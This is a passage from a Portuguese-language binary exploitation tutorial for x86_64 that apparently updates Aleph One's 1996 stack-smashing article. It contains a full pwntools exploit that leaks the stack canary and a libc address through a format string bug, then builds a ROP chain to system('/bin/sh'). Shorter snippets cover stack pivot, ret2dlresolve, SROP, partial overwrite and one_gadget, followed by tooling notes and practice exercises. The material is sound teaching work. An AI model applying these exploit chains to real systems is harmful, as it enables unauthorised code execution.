# Fallback: tentar offsets específicos
choose(p, 1)
p.recvuntil(b"Sua nota: ")
p.send(b"%11$p|%15$p") # Offsets comuns para canário e __libc_start_main
choose(p, 2)
p.recvuntil(b"Nota: ")
parts = p.recvline().strip().decode().split("|")
canary = int(parts[0], 16)
libc_leak = int(parts[1], 16)
# ═══════════════════════════════════════════
# FASE 2: Calcular endereços
# ═══════════════════════════════════════════
log.info("═" * 50)
log.info("FASE 2: Calculando endereços")
log.info("═" * 50)
# O leak da libc geralmente é __libc_start_main+128 ou similar
# Precisamos identificar qual função é e calcular o offset
# Método: subtrair offsets conhecidos e verificar alinhamento de página
libc_start_main_offset = libc.symbols['__libc_start_main']
# Heurística: o leak geralmente é __libc_start_main + algum offset
# Calcular base assumindo offset típico (ajustar conforme necessário)
libc.address = (libc_leak - libc_start_main_offset - 128) & ~0xFFF # Alinhar em página
system_addr = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
log.success(f"libc base: {hex(libc.address)}")
log.info(f"system(): {hex(system_addr)}")
log.info(f"/bin/sh: {hex(bin_sh)}")
log.info(f"canário: {hex(canary)}")
# ═══════════════════════════════════════════
# FASE 3: Buffer overflow com canário correto + ROP
# ═══════════════════════════════════════════
log.info("═" * 50)
log.info("FASE 3: Overflow + ROP chain")
log.info("═" * 50)
# Layout de deixar_nota():
# temp[64] + canário[8] + saved_rbp[8] + saved_rip[8]
OFFSET_CANARY = 64 # Pode variar! Verificar com GDB
payload = b"A" * OFFSET_CANARY
payload += p64(canary) # Canário correto (bypass!)
payload += b"B" * 8 # saved RBP
payload += p64(RET) # Alinhamento de stack
payload += p64(POP_RDI) # pop rdi; ret
payload += p64(bin_sh) # RDI = "/bin/sh"
payload += p64(system_addr) # system("/bin/sh")
choose(p, 1)
p.recvuntil(b"Sua nota: ")
p.send(payload)
# Sair do menu para triggerar o ret de deixar_nota()
# Na verdade, o overflow já aconteceu no read() de deixar_nota()
# O ret acontece quando deixar_nota() retorna
log.success("Payload enviado! Shell incoming...")
p.interactive()
if __name__ == "__main__":
exploit()
Execução esperada
Quando os offsets estão corretos, a execução fica assim:
$ python3 exploit_full.py
[*] Fase 1: Information leak via format string
[+] Canário vazado: 0xd0a8f2e3b5c71200
[+] Endereço libc: 0x7f89bba81060
[*] Fase 2: Calculando endereços
[+] libc base: 0x7f89bb9ff000
[*] system(): 0x7f89bba53790
[*] /bin/sh: 0x7f89bbba9ea4
[*] Fase 3: Overflow + ROP chain
[+] Payload enviado! Shell incoming...
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
Três proteções bypassadas em sequência: format string vaza o canário e um endereço da libc, o overflow preserva o canário correto, e a ROP chain chama system("/bin/sh") com endereços calculados.
11.4 Notas sobre o exploit
-
Os offsets do format string precisam ser descobertos empiricamente. Eles variam conforme compilador, otimizações e layout da stack.
- O offset do canário no buffer pode não ser exatamente 64. O compilador pode adicionar padding. Verificar com GDB:
(gdb) disas deixar_nota # Procurar: mov rax, QWORD PTR fs:0x28 → mov QWORD PTR [rbp-0x??], rax # O offset do canário é rbp - 0x?? - A identificação do leak da libc requer saber qual função/offset foi vazado. Técnica: vazar
__libc_start_main_ret(endereço de retorno de__libc_start_mainna stack) e subtrair o offset conhecido.
12. Ferramentas Essenciais
12.1 GDB com extensões
O GDB puro é funcional mas pouco amigável. Use uma extensão:
pwndbg (recomendado para exploração):
$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg && ./setup.sh
GEF (alternativa leve):
$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
Comandos essenciais:
(gdb) checksec # Verificar proteções
(gdb) vmmap # Mapa de memória
(gdb) canary # Mostrar valor do canário
(gdb) telescope $rsp 20 # Visualizar stack
(gdb) rop --grep "pop rdi" # Buscar gadgets
(gdb) cyclic 200 # Gerar padrão para encontrar offset
(gdb) cyclic -l 0x61616168 # Calcular offset do padrão
(gdb) heap # Visualizar heap
(gdb) got # Mostrar GOT entries
(gdb) plt # Mostrar PLT entries
12.2 pwntools
Framework Python para exploração de binários:
$ pip install pwntools
Funcionalidades principais:
from pwn import *
# Conexão
p = process('./programa') # Local
p = remote('ctf.exemplo.com', 1337) # Remoto
# I/O
p.send(b"dados")
p.sendline(b"dados\n")
p.recvuntil(b"prompt: ")
p.recvline()
p.interactive()
# Packing
p64(0xdeadbeef) # Pack 64-bit little-endian
u64(b"\xef\xbe\xad\xde\x00\x00\x00\x00") # Unpack
# ELF analysis
elf = ELF('./programa')
elf.symbols['main'] # Endereço de main
elf.plt['puts'] # puts@PLT
elf.got['puts'] # puts@GOT
# ROP
rop = ROP(elf)
rop.find_gadget(['pop rdi', 'ret'])
rop.call('puts', [elf.got['puts']])
rop.chain()
# Shellcraft
shellcode = asm(shellcraft.sh()) # Shellcode para shell
shellcode = asm(shellcraft.cat('/flag')) # Ler arquivo
# Cyclic (encontrar offset)
cyclic(200) # Gerar padrão
cyclic_find(0x61616168) # Encontrar offset
12.3 Outras ferramentas
| Ferramenta | Uso |
|---|---|
checksec |
Verificar proteções de binário |
ROPgadget |
Encontrar gadgets ROP |
ropper |
Alternativa ao ROPgadget, gera chains |
one_gadget |
Encontrar gadgets “mágicos” na libc |
Ghidra |
Decompilação e análise estática |
radare2/rizin |
Framework de reversing via CLI |
objdump |
Disassembly rápido |
readelf |
Informações sobre ELF |
ltrace/strace |
Trace de chamadas de biblioteca/sistema |
seccomp-tools |
Analisar filtros seccomp |
patchelf |
Modificar ELF (trocar libc, linker) |
pwninit |
Setup automático de ambiente (libc, linker) |
12.4 Workflow típico de exploração
1. checksec ./programa → Identificar proteções
2. file ./programa → Arquitetura, linking
3. Ghidra/IDA → Entender lógica, encontrar vulns
4. GDB + pwndbg → Análise dinâmica, encontrar offsets
5. ROPgadget → Coletar gadgets
6. one_gadget libc.so.6 → Verificar atalhos
7. pwntools → Escrever exploit
8. Testar local → Testar remoto
13. Técnicas Avançadas: Além do Básico
Aqui entram técnicas que vão além do escopo do artigo original, mas que são essenciais pra exploração moderna. Cada uma delas merecia um artigo próprio, mas vou dar uma visão geral pra vocês saberem que existem e onde procurar mais.
13.1 Stack Pivot
Quando o overflow é limitado (poucos bytes após o RIP), podemos redirecionar o RSP para uma região maior que controlamos:
Situação: overflow de apenas 16 bytes após saved RIP (cabe 2 gadgets)
Solução: usar "leave; ret" para mover RSP para buffer controlado
leave = mov rsp, rbp; pop rbp
Se controlarmos RBP (saved RBP no overflow), podemos apontar RSP para qualquer lugar!
# Stack pivot: RBP aponta para buffer controlado, leave;ret move RSP para lá
LEAVE_RET = 0x4011a8 # leave; ret gadget
BUFFER_ADDR = 0x404100 # Endereço de buffer controlado (ex: .bss, variável global)
# Primeiro: escrever ROP chain no buffer controlado (via outra primitiva)
# Depois: overflow com:
payload = b"A" * 64
payload += p64(BUFFER_ADDR) # saved RBP → aponta para nosso buffer
payload += p64(LEAVE_RET) # saved RIP → leave; ret (pivota stack)
13.2 ret2dlresolve
Técnica avançada que abusa do dynamic linker para resolver símbolos arbitrários, sem precisar de leak da libc:
from pwn import *
context.binary = elf = ELF('./vuln5')
# pwntools automatiza ret2dlresolve!
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop = ROP(elf)
rop.read(0, dlresolve.data_addr) # Ler payload para .bss
rop.ret2dlresolve(dlresolve) # Resolver e chamar system("/bin/sh")
payload = b"A" * 72 + rop.chain()
p = process('./vuln5')
p.recvuntil(b"Digite algo: ")
p.send(payload)
sleep(0.5)
p.send(dlresolve.payload) # Enviar estruturas fake para .bss
p.interactive()
13.3 SROP (Sigreturn-Oriented Programming)
Usa a syscall sigreturn para carregar todos os registradores de uma vez a partir de um frame na stack:
from pwn import *
context.arch = 'amd64'
# sigreturn restaura TODOS os registradores de um "signal frame" na stack
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = bin_sh_addr # "/bin/sh"
frame.rsi = 0 # NULL
frame.rdx = 0 # NULL
frame.rip = syscall_addr # syscall gadget
# Payload: trigger sigreturn, que carrega o frame e executa execve
payload = b"A" * offset
payload += p64(pop_rax) # pop rax; ret
payload += p64(15) # 15 = __NR_rt_sigreturn
payload += p64(syscall_addr) # syscall (executa sigreturn)
payload += bytes(frame) # Signal frame com registradores desejados
13.4 Partial Overwrite (bypass PIE)
Com PIE ativo, endereços do binário são randomizados. Mas os últimos 12 bits (3 nibbles) são sempre fixos (alinhamento de página de 4KB). Podemos sobrescrever apenas 1-2 bytes do endereço de retorno:
# Endereço original de retorno: 0x5555555551a8 (retorno para main)
# Endereço de win(): 0x555555555142
# Diferença: apenas nos últimos 2 bytes!
# Sobrescrever apenas os 2 bytes menos significativos:
payload = b"A" * offset
payload += b"\x42\x51" # Sobrescreve apenas 2 bytes do RIP
# 0x5555555551a8 → 0x555555555142 (win!)
# Funciona 1/16 das vezes (4 bits de entropia no nibble que muda)
13.5 One Gadget
Gadgets na libc que dão shell diretamente, sem precisar de ROP chain complexa:
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Se as constraints forem satisfeitas no momento do jump, basta um único endereço para obter shell:
one_gadget = libc.address + 0x4f2a5
payload = b"A" * offset + p64(one_gadget)
14. Exercícios Práticos
Para consolidar o conhecimento, aqui estão exercícios progressivos:
Nível 1: Fundamentos
- Compile
vuln1.ce encontre o offset exato até o RIP usandocyclicdo pwntools - Redirecione a execução para uma função
win()que você adicionar ao código - Repita com buffer de tamanhos diferentes (32, 128, 256 bytes)
Nível 2: Shellcode
- Escreva um shellcode x64 que execute
execve("/bin/sh", NULL, NULL)sem null bytes - Explore
vuln3.ccom seu shellcode (stack executável, sem ASLR) - Modifique o shellcode para ler
/etc/passwdem vez de dar shell (syscall read + write)
Nível 3: ROP
- Explore
vuln5.cusando ret2libc (com ASLR desabilitado) - Encontre gadgets no binário e construa uma ROP chain manual para
execve - Repita com ASLR ativo: faça leak via puts@PLT e calcule a base da libc
Nível 4: Proteções
- Explore
vuln7.c: use format string para vazar o canário, depois faça overflow - Combine leak de canário + leak de libc + ROP em um único exploit
- Explore um binário com PIE usando partial overwrite
Nível 5: CTF
- Resolva desafios de pwn em plataformas como:
- pwnable.kr
- pwnable.tw
- ROP Emporium (progressão didática de ROP)
- Nightmare (writeups organizados por técnica)
- picoCTF (CTF para iniciantes)
15. Comparação Resumida: x86 vs x86_64
| Aspecto | x86 (artigo original) | x86_64 (este artigo) |
|---|---|---|
| Tamanho de endereço | 4 bytes | 8 bytes |
| Registrador de instrução | EIP | RIP |
| Registrador de stack | ESP | RSP |
| Registrador de frame | EBP | RBP |
| Passagem de argumentos | Todos na stack | 6 primeiros em registradores |
| Endereço de retorno | [EBP + 4] | [RBP + 8] |
| Null bytes em endereços | Raro | Sempre (endereços canônicos) |
| Alinhamento de stack | 4 bytes | 16 bytes (obrigatório antes de call) |
| Shellcode syscall | int 0x80 |
syscall |
| Syscall args | EBX, ECX, EDX, ESI, EDI, EBP | RDI, RSI, RDX, R10, R8, R9 |
| Syscall number | EAX | RAX |
| NOP sled efetividade | Alta (endereços previsíveis) | Baixa (ASLR 47 bits) |
| ret2libc | Trivial (args na stack) | Requer gadget pop rdi |
| Brute force ASLR | Viável (2¹⁶ tentativas) | Inviável (2³⁰+ tentativas) |
| Proteções típicas | Nenhuma (1996) | NX + ASLR + Canary + PIE + RELRO |
16. Conclusão
O “Smashing the Stack for Fun and Profit” do Aleph One estabeleceu as bases da exploração de binários em 1996. Trinta anos depois, os conceitos fundamentais permanecem os mesmos:
- A stack cresce para baixo
- Variáveis locais ficam abaixo do endereço de retorno
- Um overflow pode sobrescrever o endereço de retorno
- Controlar o fluxo de execução = comprometer o programa
O que mudou é a complexidade da exploração:
- Antes: overflow → shellcode na stack → shell
- Agora: overflow → leak canário → leak libc → calcular gadgets → ROP chain → shell
As proteções modernas (NX, ASLR, Canaries, PIE, RELRO) não eliminaram buffer overflows. Elas elevaram a barra. Cada proteção pode ser contornada individualmente, e a arte da exploração moderna está no encadeamento de técnicas para derrotar múltiplas proteções simultaneamente.
Eu acho isso bonito, sinceramente. A corrida armamentista entre defesa e ataque fez com que a área evoluísse de forma absurda. O que era um truque simples em 1996 virou uma disciplina inteira de engenharia reversa, matemática e criatividade. E o paper do Aleph One continua sendo o ponto de partida perfeito pra entender tudo isso.
O que vem depois?
- Heap exploitation: use-after-free, double free, tcache poisoning. Uma classe inteira de vulnerabilidades com técnicas próprias
- Kernel exploitation: mesmos conceitos, mas no ring 0 com proteções adicionais (SMEP, SMAP, KASLR, KPTI)
- Browser exploitation: JIT spraying, type confusion em engines JavaScript, sandbox escape
- Fuzzing: descoberta automatizada de crashes com AFL++, libFuzzer, honggfuzz
- Symbolic execution: análise automatizada de paths com angr, KLEE
Referências
- Aleph One, “Smashing the Stack for Fun and Profit”, Phrack 49, 1996
- Solar Designer, “Getting around non-executable stack (and fix)”, 1997 (primeiro ret2libc)
- Hovav Shacham, “The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)”, CCS 2007 (paper original de ROP)
- Erik Bosman, “Framing Signals: A Return to Portable Shellcode”, IEEE S&P 2014 (SROP)
- System V AMD64 ABI specification
- Intel® 64 and IA-32 Architectures Software Developer’s Manual
Artigo escrito em maio de 2026. Testado em Kali Linux 6.19.11 x86_64 com GCC 15.2, GDB 17.1 + pwndbg, e pwntools 4.15.0.
Se esse artigo te ajudou de alguma forma, compartilha com a comunidade. O Brasil precisa de mais conteúdo técnico de qualidade em português sobre segurança ofensiva.